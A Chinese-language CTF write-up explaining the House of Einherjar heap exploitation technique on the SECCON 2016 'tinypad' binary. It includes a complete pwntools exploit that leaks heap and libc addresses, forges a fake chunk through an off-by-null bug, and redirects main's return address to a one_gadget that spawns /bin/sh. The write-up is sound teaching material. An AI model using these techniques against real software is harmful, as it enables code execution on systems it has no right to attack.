House_of_Einherjar(2016 Seccon tinypad)

本文最后更新于 2024年11月18日 下午

House_of_Einherjar(2016 Seccon tinypad)

House Of Einherjar

这种结束与之前的堆块利用有一些区别,该技术可以强制使得malloc返回几乎任意地址的chunk,可以说非常强大,他的原理跟chunk_overlapping 类似,在之前的堆利用中我们都要避免与top_chunk合并,而这个技术也可以与top_chunk合并进行利用,这里给的例子只是任意地址chunk的利用

原理

free()函数向后合并

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

解释一下这个这段代码:

  • 判断被释放堆块p的inuse域是否为0,如果为0则执行if里面的代码
  • 记录相邻堆块的大小,即pre_size域
  • size为size + prev_size
  • 最后堆块p的指针由chunk_at_offset函数决定
  • 最后unlink检查
  • chunk_at_offset函数代码,可以看到最后堆块的指针就是原本的指针减上presize上的偏移
1
2
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))

与top_chunk合并

当释放堆块紧邻top_chunk时,释放后会与top_chunk进行合并

1
2
3
4
5
6
7
8
9
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
*******************************************************
/* Set size/use field */
#define set_head(p, s) (((p)->size = (s)))

可以看到执行set_head()函数后,合并堆块的size会变为两个堆块的总和,并且top_chunk的指针会指向被合并的堆块p的位置。就相当于top_chunk把p给吞了,并取代了p的位置

2016 Seccon tinypad

add函数

这段代码写的有点乱,但是总的功能就是输入大小,内容创建一个memo,并且这个内容是实时打印出来的,这个memo的指针存在数组tinypad中

edit函数

这段代码的意思是输入要编辑的memo,然后输入内容,要注意的是,它并不是直接把内容输入对应chunk的data域,而是用tinypad数组过渡,然后用strcpy函数cpoy过去

但是实际上里面的自定义read函数是存在off_by_one漏洞的

可以看到循环结束后会在末尾多加一个0形成off_by_null

delete函数

这个delete函数就是输入对应的memo,然后释放,但是它也仅仅是释放,并没有把内容置零,更没有把指针置零,指针没有置零意味着我们可以重复使用。而释放后挂入bin后,其bk,fd指针是敏感信息,我们可以进行泄露

思路

泄露heap地址和libc地址

1
2
3
4
5
6
add(0x80, "A"*0x80)  #chunk1
add(0x80, "B"*0x80) #chunk2
add(0x80, "C"*0x80) #chunk3
add(0x80, "D"*0x80) #chunk4
delete(3)
delete(1)

这里利用unsortedbin的双链表机制,chunk1的fd指针会指向chunk3,而chunk3的fd指针会指向main_arena+88

由于程序会实时打印内容,而此时的内容已经变成了我们要泄露的地址了,可以直接接收

1
2
3
4
5
6
7
8
p.recvuntil(" #   INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap = u64(p.recvline().rstrip().ljust(8, b"\x00")) - 0x120
log.info("heap_base: %s" % hex(heap))
p.recvuntil(" # INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena = u64(p.recv(6).ljust(8, b"\x00")) - 0x58
log.info("main_arena: %s" % hex(main_arena))

House_of_Einherjar

因为我们chunk的指针就存在tinypad数组中,所以我们伪造的fake_chunk就是tinypad

1
2
3
4
add(0x18, "A"*0x18)  
add(0x100, b"B"*0xf8 + p64(0x11)) #chunk2
add(0x100, "C"*0xf8)
add(0x100, "D"*0xf8)

我打算通过free chunk2来利用tinypad

  • 那么首先就是要让chunk2的inuse域为0,也就是在申请chunk1时把内容填满即可
  • 第二步要把chunk2的presize域变成 chunk2_addr-fake_chunk
  • 第三步伪造fake_chunk,来绕过free函数的unlink检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
add(0x18, "A"*0x18)
add(0x100, "B"*0xf8 + p64(0x11))
add(0x100, "C"*0x100)
add(0x100, "D"*0x100)

tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2

edit(3, "D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip("\x00"))
'''
循环edit的原因是stcpy()会因为空子节而停止copy, 但每次读取都会将最后一个字节变为NULL, 这样就可以用NULL逐一覆盖, 使2号chunk的prev_size为offset
'''
for i in range(zero_byte_number+1):
data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')
edit(1, data)
delete(2)
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) #修复unsorted bin

为什么要用循环一个字节一个字节 的覆盖chunk2的pre_size域呢?因为我们要的效果是向下面这样的

而我们如果直接输入的话,strcpy函数遇到\x00是会停止复制的,也就会造成下面的效果

没法伪造pre_size域的同时,inuse域也无法置0

而上面的代码中

1
edit(3, "D"*0x20 + fake_chunk)

这一段实际上并没有把fake_chunk写进memo3,而是写进了tinypad中,还记得上面我们分析函数的时候,这个编辑会用这个数组过渡,而strcpy函数遇到0会停止copy,这就是在伪造fake_chunk绕过unlink检查

1
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) #修复unsorted bin

这一行代码是为了修复unsortedbin 链的,当fake_chunk被挂进unsortedbin后,此时链表中只有它一个,那么他的fd指针和bk指针都应该指向main_arena+88的地方,然后才可以正常申请,最后利用就如下图

更改返回地址为onegadget

这一步就是很常规的拿shell的部分了,我就步仔细说了,代码如下

1
2
3
4
5
6
7
8
9
10
add(0xf0, b"A"*0xd0 + p64(0x18) + p64(environ_pointer) + b'a'*8 + p64(0x602148))
p.recvuntil(" # INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
main_ret = u64(p.recvline().rstrip().ljust(8, b"\x00")) - 0x8*30
log.info("environ_addr: %s" % hex(main_ret))
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
p.sendline('Q')
#p.recvall()
p.interactive()

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *

p = process("./tinypad")
libc = ELF("./libc-1.so.6")
context.log_level = 'debug'


def add(size, content):
p.recvuntil("(CMD)>>> ")
p.sendline("A")
p.recvuntil("(SIZE)>>> ")
p.sendline(str(size))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)

def delete(index):

p.recvuntil("(CMD)>>> ")
p.sendline("D")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))

def edit(index, content, ok=True):
p.recvuntil("(CMD)>>> ")
p.sendline("E")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
p.recvuntil("(Y/n)>>> ")
if ok:
p.sendline("Y")
else:
p.sendline("n")

#stage one
add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3)
delete(1)

p.recvuntil(" # INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap = u64(p.recvline().rstrip().ljust(8, b"\x00")) - 0x120
log.info("heap_base: %s" % hex(heap))
p.recvuntil(" # INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena = u64(p.recv(6).ljust(8, b"\x00")) - 0x58
log.info("main_arena: %s" % hex(main_arena))

delete(2)
delete(4)

#stage two
add(0x18, "A"*0x18)
add(0x100, b"B"*0xf8 + p64(0x11))
add(0x100, "C"*0xf8)
add(0x100, "D"*0xf8)
tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2
edit(3, b"D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip(b"\x00"))
#gdb.attach(p)
for i in range(zero_byte_number+1):
data = b"A"*0x10 + p64(offset).strip(b"\x00").rjust(8-i, b'f')
edit(1, data)
delete(2)
edit(4, b"D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2)
gdb.attach(p)
pause()

#stage three
libc_base = main_arena + 0x58 - 0x3c4b78
log.info("libc_base: %s" % hex(libc_base))
one_gadget = libc_base + 0xf1147
environ_pointer = libc_base + libc.symbols['__environ']
add(0xf0, b"A"*0xd0 + p64(0x18) + p64(environ_pointer) + b'a'*8 + p64(0x602148))
p.recvuntil(" # INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
main_ret = u64(p.recvline().rstrip().ljust(8, b"\x00")) - 0x8*30
log.info("environ_addr: %s" % hex(main_ret))
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
p.sendline('Q')
#p.recvall()
p.interactive()
#pause()

#onegadget
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv'''

参考文章

Tinypad Seccon CTF 2016(House Of Einherjar)

ctfwiki-House Of Einherjar

好好说话之House Of Einherjar


House_of_Einherjar(2016 Seccon tinypad)
http://example.com/2024/11/15/House-of-Einherjar/
作者
清风
发布于
2024年11月15日
许可协议